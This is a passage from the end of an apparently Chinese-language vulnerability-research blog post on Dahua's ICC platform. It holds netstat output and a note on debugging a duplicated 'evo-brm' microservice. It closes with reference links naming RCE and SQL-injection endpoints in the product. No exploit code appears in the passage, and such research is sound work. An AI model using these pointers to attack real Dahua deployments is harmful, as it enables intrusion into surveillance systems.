tcp6 0 0 127.0.0.1:49964 127.0.0.1:3306 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:55233 127.0.0.1:6379 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:47779 127.0.0.1:3306 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:55458 127.0.0.1:5673 ESTABLISHED 24091/evo-brm
tcp6 86 0 192.168.131.46:43729 192.168.131.46:8945 CLOSE_WAIT 24091/evo-brm
tcp6 0 0 127.0.0.1:55231 127.0.0.1:6379 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:55225 127.0.0.1:6379 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:55229 127.0.0.1:6379 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:55227 127.0.0.1:6379 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:57244 127.0.0.1:3306 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:55223 127.0.0.1:6379 ESTABLISHED 24091/evo-brm
tcp6 0 0 192.168.131.46:8941 192.168.131.46:54197 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:51076 127.0.0.1:3306 ESTABLISHED 24091/evo-brm
tcp6 0 0 192.168.131.46:52659 192.168.131.46:8915 ESTABLISHED 24091/evo-brm
tcp6 0 0 127.0.0.1:46329 127.0.0.1:6379 ESTABLISHED 24091/evo-brm
unix 2 [ ] STREAM CONNECTED 85542 24091/evo-brm
unix 2 [ ] STREAM CONNECTED 563766567 17688/evo-brm
unix 2 [ ] STREAM CONNECTED 79100 24091/evo-brm
unix 2 [ ] STREAM CONNECTED 563786467 17688/evo-brm

也就是说,新开debug brm时,没有自动结束原本的微服务,导致只开了个远程调试端口。

后面到evo-brm/bin 执行了 stop.sh,然后再重新start-debug.sh时,就可以了。

总结,重启服务前,记得stop,停止后最好再看一下相应的PID有没有结束;调试微服务要注意有没有多个相同的微服务实例,断点失败时,可能是由于开远程调试的JVM和实际处理请求的微服务不是同一个。

后记

这里主要分析的是两层接口转发,一层在nginx,一层在apigw。由于第一次分析有接口转发的系统,所以花费了不少时间。

附录

https://open-icc.dahuatech.com/#/home?url=%3Fnav%3Dwiki%2Fcommon%2Foverall_introduction.html&version=enterprisebase/5.0.17&blank=true ICC文档

https://support.dahuatech.com/dataDirectory?IsDpValue=GNuuqRr8IGCNXISohq0PRiTwd%2BYZQaHMbRLlnWgQR7LkCpfYouOzHFVzwBlKSIgRXpeQcR4IX0bID%2BbCMvLapd3oYU4GfsTR457ORI9X0aFRyAdZzJvSHdfRbfxqVQQgP2wCGQiL7IfFINK1DdOqEsX6GWYTUv3lU9Wd3OVgQnuAOh73aiPL2I4dPrWvW29eYYV6QgaU4CTuRuA0wQaFUA%3D%3D 软件资料

参考

https://xz.aliyun.com/news/18518 /evo-runs/v1.0/receive RCE

https://www.cnblogs.com/Domren/articles/19010351 /evo-runs/v1.0/push RCE

https://www.cnblogs.com/Domren/articles/19473055 ars/list 接口存在SQL注入

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 182.7k 访客数 访问量